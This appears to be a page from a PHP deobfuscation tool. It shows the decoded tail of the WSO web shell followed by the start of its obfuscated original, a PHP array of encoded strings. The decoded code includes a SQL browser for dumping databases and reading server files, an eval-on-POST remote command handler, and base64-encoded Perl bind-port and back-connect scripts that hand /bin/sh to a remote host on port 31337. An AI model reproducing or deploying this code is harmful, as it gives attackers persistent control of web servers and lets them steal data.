        switch($_POST[\'charset\']) {
            case "Windows-1251": $db->setCharset(\'cp1251\'); break;
            case "UTF-8": $db->setCharset(\'utf8\'); break;
            case "KOI8-R": $db->setCharset(\'koi8r\'); break;
            case "KOI8-U": $db->setCharset(\'koi8u\'); break;
            case "cp866": $db->setCharset(\'cp866\'); break;
        }
        if(empty($_POST[\'file\'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST[\'tbl\'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {
            foreach($_POST[\'tbl\'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST[\'p2\']);
        } else
            die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\');
	}
	wsoHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>
<td><select name=\'type\'><option value=\'mysql\' ";
    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';
echo ">MySql</option><option value=\'pgsql\' ";
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=\'\'>";
	if(isset($_POST[\'sql_host\'])){
		if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
			switch($_POST[\'charset\']) {
				case "Windows-1251": $db->setCharset(\'cp1251\'); break;
				case "UTF-8": $db->setCharset(\'utf8\'); break;
				case "KOI8-R": $db->setCharset(\'koi8r\'); break;
				case "KOI8-U": $db->setCharset(\'koi8u\'); break;
				case "cp866": $db->setCharset(\'cp866\'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=\'\'></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
			}
			echo \'</select>\';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value=\'\';
                    if(f.p2) f.p2.value=\'\';
                    if(f.p3) f.p3.value=\'\';
                }
            }
			function st(t,l) {
				d.sf.p1.value = \'select\';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
					d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST[\'sql_base\'])){
				$db->selectdb($_POST[\'sql_base\']);
				echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST[\'sql_count\']))
                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
					$value = htmlspecialchars($value);
					echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";
				}
				echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";
				if(@$_POST[\'p1\'] == \'select\') {
					$_POST[\'p1\'] = \'query\';
                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;
					$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);
					$num = $db->fetch();
					$pages = ceil($num[\'n\'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";
                    echo " of $pages";
                    if($_POST[\'p3\'] > 1)
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";
                    if($_POST[\'p3\'] < $pages)
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";
                    $_POST[\'p3\']--;
					if($_POST[\'type\']==\'pgsql\')
						$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
					else
						$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
					echo "<br><br>";
				}
				if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {
					$db->query(@$_POST[\'p2\']);
					if($db->res !== false) {
						$title = false;
						echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo \'<tr>\';
								foreach($item as $key => $value)
									echo \'<th>\'.$key.\'</th>\';
								reset($item);
								$title=true;
								echo \'</tr><tr>\';
								$line = 2;
							}
							echo \'<tr class="l\'.$line.\'">\';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo \'<td><i>null</i></td>\';
								else
									echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
							}
							echo \'</tr>\';
						}
						echo \'</table>\';
					} else {
						echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
					}
				}
				echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";
                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))
                    echo htmlspecialchars($_POST[\'p2\']);
                echo "</textarea><br/><input type=submit value=\'Execute\'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST[\'type\']==\'mysql\') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");
                if($db->fetch())
                    echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
            }
			if(@$_POST[\'p1\'] == \'loadfile\') {
				$file = $db->loadFile($_POST[\'p2\']);
				echo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo \'</div>\';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name=\'nfp\' onSubmit=\"g(null,null,\'bpp\',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>
	</form>
	<form name=\'nfp\' onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>
	</form><br>";
	if(isset($_POST[\'p1\'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST[\'p1\'] == \'bpp\') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST[\'p1\'] == \'bcp\') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo \'</div>\';
	wsoFooter();
}
function actionRC() {
	if(!@$_POST[\'p1\']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get(\'safe_mode\')
		);
		echo serialize($a);
	} else {
		eval($_POST[\'p1\']);
	}
}
if( empty($_POST[\'a\']) )
	if(isset($default_action) && function_exists(\'action\' . $default_action))
		$_POST[\'a\'] = $default_action;
	else
		$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
	call_user_func(\'action\' . $_POST[\'a\']);
exit;
'

Did this file decode correctly?

Original Code

<?php 
 
 $array = array('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